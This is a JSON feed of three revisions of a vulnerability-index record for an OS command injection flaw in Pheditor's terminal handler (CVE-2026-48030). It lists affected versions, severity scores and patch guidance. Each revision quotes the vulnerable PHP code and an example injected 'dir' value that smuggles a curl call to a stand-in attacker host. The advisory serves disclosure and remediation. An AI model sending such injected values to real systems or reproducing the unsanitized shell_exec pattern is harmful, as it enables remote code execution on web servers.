{"items":[{"id":"NVI-00006095","kind":"vulnerability","title":"Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-jvc5-6g7q-c843","CVE-2026-48030"],"plain_summary":"GitHub lists this reviewed advisory for pheditor/pheditor. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-b42f070c8dd2a785906d09d3c19e83a6"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 2.0.4 for pheditor/pheditor. Confirm the publisher’s latest guidance.","source_ids":["sr-a7148a9a41e632b96e648063bda8fdae"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-06-09T22:00:36.000Z","value":"9.9 critical","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-639897e14e9fc6cf6b31f592d8002e82"},{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"7.548%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.94514. Missing scores are unknown.","source_id":"sr-b42f070c8dd2a785906d09d3c19e83a6"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-639897e14e9fc6cf6b31f592d8002e82","url":"https://github.com/advisories/GHSA-jvc5-6g7q-c843","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-jvc5-6g7q-c843","publisher":"GitHub Advisory Database","observed_at":"2026-11-06T15:13:31.161Z"},{"id":"sr-a7148a9a41e632b96e648063bda8fdae","url":"https://github.com/advisories/GHSA-jvc5-6g7q-c843","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-jvc5-6g7q-c843","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:30.970Z"},{"id":"sr-b42f070c8dd2a785906d09d3c19e83a6","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-48030","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.379Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-639897e14e9fc6cf6b31f592d8002e82"],"technology":"pheditor/pheditor","known_exclusions":[],"conditions_summary":"### Summary\n\nAn OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.\n\n### Details\n\nThe terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only — `$dir` is passed to shell_exec() without any sanitization.\n\nVulnerable code (pheditor.php, line 554–586):\n\n```php\n$command = $_POST['command'];  // ✓ metacharacters checked\n$dir     = $_POST['dir'];      // ✗ NOT checked — vulnerable\n\nif (strpos($command, '&')  !== false ||\n    strpos($command, ';')  !== false ||\n    strpos($command, '||') !== false) {\n    die(...); // only guards $command, not $dir\n}\n\n$output = shell_exec(\n    (empty($dir) ? null : 'cd ' . $dir . ' && ')\n    . $command . ' && echo \\ ; pwd'  // ← $dir injected here\n);\n```\n\nAn attacker sends `dir=/tmp; curl attacker.com #` — the semicolon in $dir is never checked, so the injected command executes freely.\n\nFix: replace `$dir` with `escap","public_affected_ranges":[">= 2.0.1, <= 2.0.3"]},{"certainty":"source_listed","source_ids":["sr-a7148a9a41e632b96e648063bda8fdae"],"technology":"pheditor/pheditor","known_exclusions":[],"conditions_summary":"### Summary\n\nAn OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.\n\n### Details\n\nThe terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only — `$dir` is passed to shell_exec() without any sanitization.\n\nVulnerable code (pheditor.php, line 554–586):\n\n```php\n$command = $_POST['command'];  // ✓ metacharacters checked\n$dir     = $_POST['dir'];      // ✗ NOT checked — vulnerable\n\nif (strpos($command, '&')  !== false ||\n    strpos($command, ';')  !== false ||\n    strpos($command, '||') !== false) {\n    die(...); // only guards $command, not $dir\n}\n\n$output = shell_exec(\n    (empty($dir) ? null : 'cd ' . $dir . ' && ')\n    . $command . ' && echo \\ ; pwd'  // ← $dir injected here\n);\n```\n\nAn attacker sends `dir=/tmp; curl attacker.com #` — the semicolon in $dir is never checked, so the injected command executes freely.\n\nFix: replace `$dir` with `escap","public_affected_ranges":["ECOSYSTEM: introduced 2.0.1; fixed 2.0.4"]}],"null_published_at":"2026-11-08T15:11:47.507Z","source_updated_at":"2026-06-09T22:00:36.000Z","source_disclosed_at":"2026-06-09T22:00:35.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T21:42:30.970Z"},{"id":"NVI-00006095","kind":"vulnerability","title":"Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-jvc5-6g7q-c843","CVE-2026-48030"],"plain_summary":"OSV carries this publisher advisory for pheditor/pheditor. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 2.0.4 for pheditor/pheditor. Confirm the publisher’s latest guidance.","source_ids":["sr-a7148a9a41e632b96e648063bda8fdae"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-b42f070c8dd2a785906d09d3c19e83a6"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"7.548%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.94514. Missing scores are unknown.","source_id":"sr-b42f070c8dd2a785906d09d3c19e83a6"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-a7148a9a41e632b96e648063bda8fdae","url":"https://github.com/advisories/GHSA-jvc5-6g7q-c843","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-jvc5-6g7q-c843","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:30.970Z"},{"id":"sr-b42f070c8dd2a785906d09d3c19e83a6","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-48030","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.379Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-a7148a9a41e632b96e648063bda8fdae"],"technology":"pheditor/pheditor","known_exclusions":[],"conditions_summary":"### Summary\n\nAn OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.\n\n### Details\n\nThe terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only — `$dir` is passed to shell_exec() without any sanitization.\n\nVulnerable code (pheditor.php, line 554–586):\n\n```php\n$command = $_POST['command'];  // ✓ metacharacters checked\n$dir     = $_POST['dir'];      // ✗ NOT checked — vulnerable\n\nif (strpos($command, '&')  !== false ||\n    strpos($command, ';')  !== false ||\n    strpos($command, '||') !== false) {\n    die(...); // only guards $command, not $dir\n}\n\n$output = shell_exec(\n    (empty($dir) ? null : 'cd ' . $dir . ' && ')\n    . $command . ' && echo \\ ; pwd'  // ← $dir injected here\n);\n```\n\nAn attacker sends `dir=/tmp; curl attacker.com #` — the semicolon in $dir is never checked, so the injected command executes freely.\n\nFix: replace `$dir` with `escap","public_affected_ranges":["ECOSYSTEM: introduced 2.0.1; fixed 2.0.4"]}],"null_published_at":"2026-11-05T03:52:54.802Z","source_updated_at":"2026-09-10T03:51:08.930Z","source_disclosed_at":"2026-06-09T22:00:35.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:30.970Z"},{"id":"NVI-00006095","kind":"vulnerability","title":"Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-jvc5-6g7q-c843","CVE-2026-48030"],"plain_summary":"OSV carries this publisher advisory for pheditor/pheditor. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 2.0.4 for pheditor/pheditor. Confirm the publisher’s latest guidance.","source_ids":["sr-a7148a9a41e632b96e648063bda8fdae"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-a7148a9a41e632b96e648063bda8fdae","url":"https://github.com/advisories/GHSA-jvc5-6g7q-c843","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-jvc5-6g7q-c843","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:30.970Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-a7148a9a41e632b96e648063bda8fdae"],"technology":"pheditor/pheditor","known_exclusions":[],"conditions_summary":"### Summary\n\nAn OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.\n\n### Details\n\nThe terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only — `$dir` is passed to shell_exec() without any sanitization.\n\nVulnerable code (pheditor.php, line 554–586):\n\n```php\n$command = $_POST['command'];  // ✓ metacharacters checked\n$dir     = $_POST['dir'];      // ✗ NOT checked — vulnerable\n\nif (strpos($command, '&')  !== false ||\n    strpos($command, ';')  !== false ||\n    strpos($command, '||') !== false) {\n    die(...); // only guards $command, not $dir\n}\n\n$output = shell_exec(\n    (empty($dir) ? null : 'cd ' . $dir . ' && ')\n    . $command . ' && echo \\ ; pwd'  // ← $dir injected here\n);\n```\n\nAn attacker sends `dir=/tmp; curl attacker.com #` — the semicolon in $dir is never checked, so the injected command executes freely.\n\nFix: replace `$dir` with `escap","public_affected_ranges":["ECOSYSTEM: introduced 2.0.1; fixed 2.0.4"]}],"null_published_at":"2026-10-31T22:13:05.858Z","source_updated_at":"2026-09-10T03:51:08.930Z","source_disclosed_at":"2026-06-09T22:00:35.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T21:42:30.970Z"}],"next_cursor":null,"snapshot_revision":"42594"}